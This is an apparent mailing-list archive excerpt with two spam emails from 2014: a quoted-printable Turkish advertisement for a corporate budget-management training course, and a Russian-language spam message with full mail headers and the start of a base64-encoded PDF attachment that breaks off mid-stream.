B=FCt=E7e=20 Uygulamas=FDn=FDn=20 B=F6l=FCmleri =09 =09 Senaryo=20 Analizleri=20 ve=20 Senaryolarda=20 Yer=20 Almas=FD=20 Gereken=20 Fakt=F6rler=20 ve=20 Parametreler Sat=FD=FE=20 Miktarlar=FD=20 ve=20 Gelirleri=20 B=FCt=E7esi =09 =DCretim=20 Miktarlar=FD=20 B=FCt=E7esi Direk=20 Madde=20 Miktar=20 Ve Tutar=20 B=FCt=E7esi Direk=20 Madde=20 Sat=FDn=20 Alma=20 Miktar=20 ve Tutar=20 B=FCt=E7esi Direk=20 =DD=FE=E7ilik=20 Miktar=20 ve Tutar=20 B=FCt=E7esi Genel=20 =DCretim=20 Giderleri=20 B=FCt=E7esi Sat=FDlan=20 Mal=FDn=20 Maliyeti=20 B=FCt=E7esi Sat=FD=FE ve=20 Y=F6netim=20 Giderleri=20 B=FCt=E7esi Yat=FDr=FDm=20 B=FCt=E7esi Proforma=20 Gelir/Gider=20 B=FCt=E7esi Nakit=20 B=FCt=E7esi Proforma=20 Bilan=E7o =09 =09 B=F6l=FCm=20 4 -=20 B=FCt=E7e=20 =C7al=FD=FEmalar=FDnda=20 Yeni=20 Teknikler Maliyet-Y=F6netim=20 Muhasebesindeki=20 Geli=FEmeler Maliyet-=20 Y=F6netim=20 Muhasebesindeki=20 Geli=FEmelerin=20 =DD=FEletme=20 B=FCt=E7elerine=20 Etkileri Geleneksel=20 B=FCt=E7elerin=20 Eksiklikleri Faaliyet=20 Tabanl=FD=20 B=FCt=E7eleme =09 =D6rnek=20 B=FCt=E7e=20 =C7=F6z=FCm=FC=20 Yard=FDm=FDyla=20 Geleneksel=20 B=FCt=E7eleme=20 Sistemi=20 ile=20 Faaliyet=20 Tabanl=FD=20 B=FCt=E7eleme=20 Sisteminin=20 Farkl=FDl=FDklar=FDn=FDn=20 Ortaya=20 Konmas=FD =09 =09 B=F6l=FCm=20 5 -=20 B=FCt=E7e=20 =C7al=FD=FEmalar=FDn=FDn=20 =D6rg=FCtsel=20 Yap=FDs=FD B=FCt=E7elemeden=20 Sorumlu=20 =D6rg=FCt=20 Birimleri B=FCt=E7e El=20 Kitab=FD B=FCt=E7elemede=20 Davran=FD=FEsal=20 Boyutlar =09 =09 B=F6l=FCm=20 6 -=20 B=FCt=E7e=20 Teknikleri=20 ile=20 =DD=FEletme=20 Faaliyetlerinin=20 Y=F6netsel=20 Ba=FEar=FDs=FDn=FDn=20 De=F0erlemesi Maliyet=20 Merkezlerinin=20 Faaliyetlerinin=20 -=20 Y=F6netsel=20 Ba=FEar=FDn=FDn=20 De=F0erlendirilmesi=20 ve Sapma=20 Analizleri Kar ve=20 Yat=FDr=FDm=20 Merkezlerinin=20 Faaliyetlerin-=20 Y=F6netsel=20 Ba=FEar=FDn=FDn=20 De=F0erlendirilmesi=20 ve Sapma=20 Analizleri =09 =DD=FEletmelerde=20 Sorumluluk=20 Raporlar=FD=20 ve B=FCt=E7e=20 Sapmalar=FDn=FDn=20 de=F0erlendirilmesine=20 ili=FEkin=20 =F6rnek=20 =E7al=FD=FEmalar =09 =09 B=F6l=FCm=20 7 -=20 B=FCt=E7e=20 Teknikleri=20 ile=20 Finansal=20 Risklerin=20 =D6l=E7=FClmesi Finansal=20 Riskler=20 ve Risk=20 Ta=FE=FDman=FDn=20 Etkileri D=F6viz=20 Riskleri=20 ve D=F6viz=20 Risklerinin=20 =D6l=E7=FClmesi Faiz=20 Oran=FD=20 Riski ve=20 Faiz=20 Oran=FD=20 Riskinin=20 =D6l=E7=FClmesi Likidite=20 Riski ve=20 Likitide=20 Riskinin=20 =D6l=E7=FClmesi =09 =D6rnek=20 =C7al=FD=FEma =09 =09 B=F6l=FCm=20 8 -=20 Yat=FDr=FDm=20 Projelerinin=20 B=FCt=E7elenmesi Proje=20 Analizi Temel=20 Analiz=20 =D6l=E7=FCtleri=20 (Net=20 Bug=FCnk=FC=20 De=F0er=20 (NBD),=DD=E7=20 Karl=FDl=FDk=20 Oran=FD=20 (=DDKO),Fayda-Maliyet=20 Oran=FD=20 (F/M),Geri=20 =D6deme=20 S=FCresi) =09 Sermaye=20 Maliyetinin=20 Belirlenmesi Ba=FEaba=FE=20 Analizi =09 Kosullar: =09 =09 *=20 Egitim=20 sonunda=20 Sertifika=20 verilecektir=2E =09 =09 =09 =09 *=20 Egitim=20 notlari,=20 ara=20 ikramlar=20 ve ogle=20 yemegi=20 fiyata=20 dahildir=2E *=20 Egitime 3=20 gun=20 kalana=20 dek=20 odeme=20 yapanlara=20 kesin=20 kayit=20 yaptirmis=20 sayilir=2E =09 =09 * =09 =09 =09 Ayni=20 firmadan=20 3 kisi=20 katiliminda=20 %5, 4-6=20 kisi=20 katiliminda=20 %10=20 indirim=20 uygulanir=2E =09 Bilgi ve=20 Kayit=20 icin : =09 =09 Taksim=20 Egitim =09 Tel:=20 0-212-253=20 00 24 =09 =09 =09 info@taksimegitim.com =09 =09 =09 www.taksimegitim.com=20 =09 =20 =09 =20 =09 =20 =09 =09 =09 =20 =09 =09 =09 Listeden cikmak icin tiklayiniz. ------=SPLITOR00A_001_342093921D Content-Type: text/html; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable 18-19-OCAK2014

18-19 OCAK 2014

Isletmelerde Butce Yonetimi ve=20 Butce Sistemleri

www.taksimegitim.com

.
18-19=20 OCAK 2014 Cumartesi-Pazar=20 gunlerinde=20 Istanbul'da "Isletmelerde=20 Butce=20 Yonetimi=20 ve Butce=20 Sistemleri=20 Egitimi" verilecektir.

Egitim Tarihleri:=20 18-19=20 OCAK 2014
Egitim Saatleri: 10:00 -=20 17:00
Egitim Ucreti:=20 790 TL +=20 Kdv
Egitim Yeri:=20 Point=20 Hotel Taksim

Program=20 icerigi:

B=F6l=FCm=20 1 -=20 Finans=20 Karar=20 Destek=20 Sistemlerine=20 Genel=20 Bak=FD=FE
Finansal=20 Y=F6netimin=20 Ama=E7lar=FD,
Finansal=20 Y=F6netimi=20 Ba=FEar=FDs=FDz=20 K=FDlan=20 Nedenler
G=FCn=FCm=FCz=20 =DD=FE=20 Ko=FEullar=FDn=FD=20 De=F0i=FEtiren=20 Etkenler,
De=F0i=FEen=20 =DD=FE=20 Ko=FEullar=FDn=FDn=20 Firmalar=FDm=FDza=20 Olan=20 Etkileri,
FKD=20 Sistemlerinin=20 A=FEa=F0=FDdaki=20 Fonksiyonlar=FDn=FDn=20 B=FCt=E7e=20 Sistemi=20 olan=20 =DDli=FEkilerinin=20 Sistemati=F0i,
*Faaliyet=20 Tabanl=FD=20 Maliyet=20 Sistemi
*B=FCt=E7e=20 Sistemi
*Sorumluluk=20 Muhasebesi
*Risk=20 Y=F6netimi
*Nakit=20 Ak=FD=FE=FD

B=F6l=FCm=20 2 -=20 B=FCt=E7e=20 Haz=FDrlama=20 =C7al=FD=FEmalar=FDyla=20 =DDlgili=20 Temel=20 Konular
=DD=FEletmelerde=20 Planlama=20 Faaliyetleri=20 (Stratejik=20 Plan,=20 Orta=20 Vadeli=20 Plan,=20 B=FCt=E7eleme)
B=FCt=E7elemenin=20 =DD=FElevleri=20 (Optimizasyon,=20 Denetim,=20 Standartlar=FDn=20 Olu=FEturulmas=FD,=20 Performans=20 Y=F6netimi,=20 De=F0i=FEkenlerin=20 Etkinli=F0i,=20 G=F6revlerin=20 Koordinasyonu,=20 Etkinlik,=20 Ekonomiklik)
B=FCt=E7e=20 Haz=FDrlan=FDrken=20 Temel=20 Yakla=FE=FDmlar=20 ( Pasif=20 B=FCt=E7eler,=20 Defansif=20 B=FCt=E7eler,=20 At=FDl=FDm=20 B=FCt=E7eleri=20 )
=DD=FEletme=20 B=FCt=E7elerinin=20 T=FCrleri=20 (Ba=FEar=FD-Kaynak,=20 S=FDf=FDr=20 Tabanl=FD-Ge=E7i=FEli,=20 Statik-Esnek,=20 Proje-D=F6nem,=20 Genel-B=F6l=FCm,=20 Gelir-Gider,=20 Geleneksel-Faaliyet=20 Tabanl=FD)
=DD=FEletmelerde=20 B=FCt=E7elemenin=20 Basamaklar=FD=20 ve=20 B=FCt=E7eler=20 aras=FD=20 ili=FEkiler
(12 ayr=FD=20 Excel=20 dosyas=FD,=20 80 Ayr=FD=20 Tabloyu=20 kapsayan=20 =D6rnek=20 B=FCt=E7e=20 =C7al=FD=FEmas=FDn=FDn=20 Matematiksel=20 Modelinin=20 Sunumu=20 Yap=FDlacakt=FDr.=20 Seminer=20 Sonras=FD=20 Dosyalar=20 Taraf=FDn=FDza=20 Teslim=20 Edilecektir.)

B=F6l=FCm=20 3 -=20 =D6rnek=20 Bir=20 B=FCt=E7e=20 Uygulamas=FD
=D6rnek=20 B=FCt=E7e=20 Uygulamas=FDnda,
=C7oklu=20 para=20 birimiyle=20 i=FElem=20 yap=FDlacakt=FDr.=20 Her bir=20 tablo=20 hem=20 yabanc=FD=20 para=20 birimi=20 ile hem=20 de TL=20 olarak=20 izlenebilecektir.=20 Dolay=FDs=FDyla=20 Yabanc=FD=20 Para=20 Biriminden=20 TL ye=20 =E7evirme=20 i=FElemlerinde=20 b=FCt=E7e=20 kalemi=20 baz=FDnda=20 Kur=20 Fark=FD=20 Gelir ve=20 Giderlerini,=20 TL den=20 Yabanc=FD=20 Para=20 Birimine=20 =E7evirme=20 i=FElemlerinde=20 ise=20 D=F6viz=20 Kay=FDp/Kazan=E7lar=FDn=FD=20 g=F6r=FClebilecek.
Faaliyet=20 Tabanl=FD=20 Maliyet=20 Sistemi=20 Uygulanarak=20 b=FCt=E7e=20 =FCr=FCn=20 birim=20 maliyetlere=20 inilebilecek.
Esnek=20 B=FCt=E7eleme=20 Modeli=20 Uygulanacakt=FDr.

=D6rnek=20 B=FCt=E7e=20 Uygulamas=FDn=FDn=20 B=F6l=FCmleri

Senaryo=20 Analizleri=20 ve=20 Senaryolarda=20 Yer=20 Almas=FD=20 Gereken=20 Fakt=F6rler=20 ve=20 Parametreler
Sat=FD=FE=20 Miktarlar=FD=20 ve=20 Gelirleri=20 B=FCt=E7esi
=DCretim=20 Miktarlar=FD=20 B=FCt=E7esi
Direk=20 Madde=20 Miktar=20 Ve Tutar=20 B=FCt=E7esi
Direk=20 Madde=20 Sat=FDn=20 Alma=20 Miktar=20 ve Tutar=20 B=FCt=E7esi
Direk=20 =DD=FE=E7ilik=20 Miktar=20 ve Tutar=20 B=FCt=E7esi
Genel=20 =DCretim=20 Giderleri=20 B=FCt=E7esi
Sat=FDlan=20 Mal=FDn=20 Maliyeti=20 B=FCt=E7esi
Sat=FD=FE ve=20 Y=F6netim=20 Giderleri=20 B=FCt=E7esi
Yat=FDr=FDm=20 B=FCt=E7esi
Proforma=20 Gelir/Gider=20 B=FCt=E7esi
Nakit=20 B=FCt=E7esi
Proforma=20 Bilan=E7o

B=F6l=FCm=20 4 -=20 B=FCt=E7e=20 =C7al=FD=FEmalar=FDnda=20 Yeni=20 Teknikler
Maliyet-Y=F6netim=20 Muhasebesindeki=20 Geli=FEmeler
Maliyet-=20 Y=F6netim=20 Muhasebesindeki=20 Geli=FEmelerin=20 =DD=FEletme=20 B=FCt=E7elerine=20 Etkileri
Geleneksel=20 B=FCt=E7elerin=20 Eksiklikleri
Faaliyet=20 Tabanl=FD=20 B=FCt=E7eleme
=D6rnek=20 B=FCt=E7e=20 =C7=F6z=FCm=FC=20 Yard=FDm=FDyla=20 Geleneksel=20 B=FCt=E7eleme=20 Sistemi=20 ile=20 Faaliyet=20 Tabanl=FD=20 B=FCt=E7eleme=20 Sisteminin=20 Farkl=FDl=FDklar=FDn=FDn=20 Ortaya=20 Konmas=FD

B=F6l=FCm=20 5 -=20 B=FCt=E7e=20 =C7al=FD=FEmalar=FDn=FDn=20 =D6rg=FCtsel=20 Yap=FDs=FD
B=FCt=E7elemeden=20 Sorumlu=20 =D6rg=FCt=20 Birimleri
B=FCt=E7e El=20 Kitab=FD
B=FCt=E7elemede=20 Davran=FD=FEsal=20 Boyutlar

B=F6l=FCm=20 6 -=20 B=FCt=E7e=20 Teknikleri=20 ile=20 =DD=FEletme=20 Faaliyetlerinin=20 Y=F6netsel=20 Ba=FEar=FDs=FDn=FDn=20 De=F0erlemesi
Maliyet=20 Merkezlerinin=20 Faaliyetlerinin=20 -=20 Y=F6netsel=20 Ba=FEar=FDn=FDn=20 De=F0erlendirilmesi=20 ve Sapma=20 Analizleri
Kar ve=20 Yat=FDr=FDm=20 Merkezlerinin=20 Faaliyetlerin-=20 Y=F6netsel=20 Ba=FEar=FDn=FDn=20 De=F0erlendirilmesi=20 ve Sapma=20 Analizleri
=DD=FEletmelerde=20 Sorumluluk=20 Raporlar=FD=20 ve B=FCt=E7e=20 Sapmalar=FDn=FDn=20 de=F0erlendirilmesine=20 ili=FEkin=20 =F6rnek=20 =E7al=FD=FEmalar

B=F6l=FCm=20 7 -=20 B=FCt=E7e=20 Teknikleri=20 ile=20 Finansal=20 Risklerin=20 =D6l=E7=FClmesi
Finansal=20 Riskler=20 ve Risk=20 Ta=FE=FDman=FDn=20 Etkileri
D=F6viz=20 Riskleri=20 ve D=F6viz=20 Risklerinin=20 =D6l=E7=FClmesi
Faiz=20 Oran=FD=20 Riski ve=20 Faiz=20 Oran=FD=20 Riskinin=20 =D6l=E7=FClmesi
Likidite=20 Riski ve=20 Likitide=20 Riskinin=20 =D6l=E7=FClmesi
=D6rnek=20 =C7al=FD=FEma

B=F6l=FCm=20 8 -=20 Yat=FDr=FDm=20 Projelerinin=20 B=FCt=E7elenmesi
Proje=20 Analizi
Temel=20 Analiz=20 =D6l=E7=FCtleri=20 (Net=20 Bug=FCnk=FC=20 De=F0er=20 (NBD),=DD=E7=20 Karl=FDl=FDk=20 Oran=FD=20 (=DDKO),Fayda-Maliyet=20 Oran=FD=20 (F/M),Geri=20 =D6deme=20 S=FCresi)
Sermaye=20 Maliyetinin=20 Belirlenmesi
Ba=FEaba=FE=20 Analizi

Kosullar:
*
=20 Egitim=20 sonunda=20 Sertifika=20 verilecektir.
*=20 Egitim=20 notlari,=20 ara=20 ikramlar=20 ve ogle=20 yemegi=20 fiyata=20 dahildir.
*
=20 Egitime 3=20 gun=20 kalana=20 dek=20 odeme=20 yapanlara=20 kesin=20 kayit=20 yaptirmis=20 sayilir.
*
Ayni=20 firmadan=20 3 kisi=20 katiliminda=20 %5, 4-6=20 kisi=20 katiliminda=20 %10=20 indirim=20 uygulanir.

Bilgi ve=20 Kayit=20 icin :

Taksim=20 Egitim
Tel:=20 0-212-253=20 00 24
info@taksimegitim.com
www.taksimegitim.com

Listeden cikmak icin tiklayiniz.

------=SPLITOR00A_001_342093921D-- From t.nika777777@pornqueens.net Wed Jan 8 15:25:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 037727F3F for ; Wed, 8 Jan 2014 15:25:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D5B6AC002 for ; Wed, 8 Jan 2014 13:25:02 -0800 (PST) X-ASG-Debug-ID: 1389216295-04cb6c537eca1150001-NocioJ Received: from mail.nevatuft.ru (neva-taft-4.ip.PeterStar.net [82.140.81.12]) by cuda.sgi.com with ESMTP id 8cmyJ1QGdgbEDnuN for ; Wed, 08 Jan 2014 13:24:56 -0800 (PST) X-Barracuda-Envelope-From: t.nika777777@pornqueens.net X-Barracuda-Apparent-Source-IP: 82.140.81.12 Received: from mail.nevatuft.ru (localhost [127.0.0.1]) by mail.nevatuft.ru (Postfix) with ESMTP id 93ABA55A128; Thu, 9 Jan 2014 01:24:55 +0400 (MSK) Received: from Unknown (unknown [103.21.41.83]) by mail.nevatuft.ru (Postfix) with ESMTPA id E4A8655A125; Thu, 9 Jan 2014 01:24:46 +0400 (MSK) Message-ID: <0A0BA989C1F44142A3FA4E3A025ED3CF@kttd> Reply-To: =?windows-1251?B?w8jS?= From: =?windows-1251?B?w8jS?= To: , , , Subject: =?windows-1251?B?zeDp7CDo7e7x8vDg7e379SDw4OHu8u3o6u7i?= Date: Wed, 8 Jan 2014 22:25:13 +0100 X-ASG-Orig-Subj: =?windows-1251?B?zeDp7CDo7e7x8vDg7e379SDw4OHu8u3o6u7i?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_076B_01CF0CC0.7FC031F0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Virus-Scanned: ClamAV using ClamSMTP X-Barracuda-Connect: neva-taft-4.ip.PeterStar.net[82.140.81.12] X-Barracuda-Start-Time: 1389216296 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143878 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_076B_01CF0CC0.7FC031F0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_076C_01CF0CC0.7FC031F0" ------=_NextPart_001_076C_01CF0CC0.7FC031F0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=EE=F0=FF=E4=EE=EA =F0=E0=F1=F2=EE=F0=E6=E5=ED=E8=FF =F2=F0=F3=E4=EE=E2= =FB=F5 =EE=F2=ED=EE=F8=E5=ED=E8=E9 =F1 =F0=E0=E1=EE=F2=ED=E8=EA=E0=EC=E8:= =CF=F0=E5=EA=F0=E0=F9=E5=ED=E8=E5 =F2=F0=F3=E4=EE=E2=EE=E3=EE =E4=EE=E3=EE= =E2=EE=F0=E0 =EF=EE =EE=F1=ED=EE=E2=E0=ED=E8=FF=EC, =EF=F0=E5=E4=F3=F1=EC= =EE=F2=F0=E5=ED=ED=FB=EC =F2=F0=F3=E4=EE=E2=FB=EC =E7=E0=EA=EE=ED=EE=E4=E0= =F2=E5=EB=FC=F1=F2=E2=EE=EC: =D1=F2.77, 71, 81, 83, 288 =D2=CA =D0=D4 ------=_NextPart_001_076C_01CF0CC0.7FC031F0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=EE=F0=FF=E4=EE=EA =F0=E0=F1=F2=EE=F0=E6=E5=ED=E8=FF =F2=F0=F3=E4= =EE=E2=FB=F5 =EE=F2=ED=EE=F8=E5=ED=E8=E9 =F1 =F0=E0=E1=EE=F2=ED=E8=EA=E0=EC= =E8: =CF=F0=E5=EA=F0=E0=F9=E5=ED=E8=E5 =F2=F0=F3=E4=EE=E2=EE=E3=EE =E4=EE= =E3=EE=E2=EE=F0=E0 =EF=EE =EE=F1=ED=EE=E2=E0=ED=E8=FF=EC, =EF=F0=E5=E4=F3= =F1=EC=EE=F2=F0=E5=ED=ED=FB=EC =F2=F0=F3=E4=EE=E2=FB=EC =E7=E0=EA=EE=ED=EE= =E4=E0=F2=E5=EB=FC=F1=F2=E2=EE=EC: =D1=F2.77, 71, 81, 83, 288 =D2=CA =D0=D4=
------=_NextPart_001_076C_01CF0CC0.7FC031F0-- ------=_NextPart_000_076B_01CF0CC0.7FC031F0 Content-Type: application/octet-stream; name="=?windows-1251?B?xO7q8+zl7fL7IOrg5PDu4u7pIPHr8+bh+y5w?= =?windows-1251?B?ZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?xO7q8+zl7fL7IOrg5PDu4u7pIPHr8+bh+y5w?= =?windows-1251?B?ZGY=?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCA1OTYvSGVpZ2h0IDg0Mi9MZW5ndGggMTI1MzMwL0NvbG9yU3BhY2VbL0lDQ0Jh c2VkIDEgMCBSXS9EZWNvZGVQYXJtczw8L0JpdHNQZXJDb21wb25lbnQgOC9QcmVkaWN0b3IgMTUv Q29sdW1ucyA1OTYvQ29sb3JzIDM+Pi9CaXRzUGVyQ29tcG9uZW50IDgvRmlsdGVyL0ZsYXRlRGVj b2RlPj5zdHJlYW0KeF7snQV4FMffx/dy8YSQENzd3R2KU9wp1qKFUooUKK5FSvEWlyLFiru7u7tb EhLinrP3k5vlOJJAqfz7kmQ+PE+YmZ2dnZmd/X3nt7e7ozGZTIpEIpFIJMkJG/V/iUQikUiSDVL8 JBKJRJLskOInkUgkkmSHFD+JRCKRJDuk+EkkEokk2SHFTyKRSCTJDil+EolEIkl2SPGTSCQSSbJD ip9EIpFIkh1S/CQSiUSS7JDiJ5FIJJJkhxQ/iUQikSQ7pPhJJBKJJNkhxU8ikUgkyQ4pfhKJRCJJ dkjxk0gkEkmyQ4qfRCKRSJIdUvwkEolEkuyQ4ieRSCSSZIcUP4lEIpEkO6T4SSQSiSTZIcUvuWAw GNSQojx+/PjChfNqRFG8vb2Dg4PViEQikSQDpPglC8LDw3/7bakIb9y4YeOGDSlTuoso3L9/LyQk RI1IJBJJMkCKX9Jn6tSfv+3dO5VHKhG9devW1atXbG1tRXTSxAlzfv01VSp1q0QikSQHtGPGjFGD kiTKvbv3tLbaNGnSFCxYMCoq6sGD+3q9/ty5c2fPnnFycnJxcXF0cipduoy9vb26g0QikSR1NCaT SQ1KkiIhISHTp00LCgry9vbKnCVL61atBwzoL37hQ/Y2bto8duyY0JAQZ2fntOnSTZo0WaPRiB0l EokkCSNveyZWnjx5EhAQoEbej7e3944d2w8c2H/z5k1brfbQoYOWZ1vKlSt3+fKl06dO3bhxA0cw lUeqj1G+kydPLl+2zGg0qnGJRCJJhEjxS6z06N6tVs0aEydMUOPvYfPmTVFRUSJcqXLlW7duiTCk SuV58cJFNaIo+IVq6P10797t6x7dZ8yY7uvrqyZJJBJJIkSKX2Ila7ZsMTExq1evev78uZr0LqdO nbp08eKN6zfUuBkPqwdbvL29nJyd1IiieL18yd/Hjx+LaHxevHiBm0ggS5Ys6dOnF4kSiUSSGJEP vCRW0qVLv2/vXr1ef/vWrfPnz5kUU86cudRtZvbs3s3W/PnzP3z40NXVNWXKlBkzZipfvoK9g72H 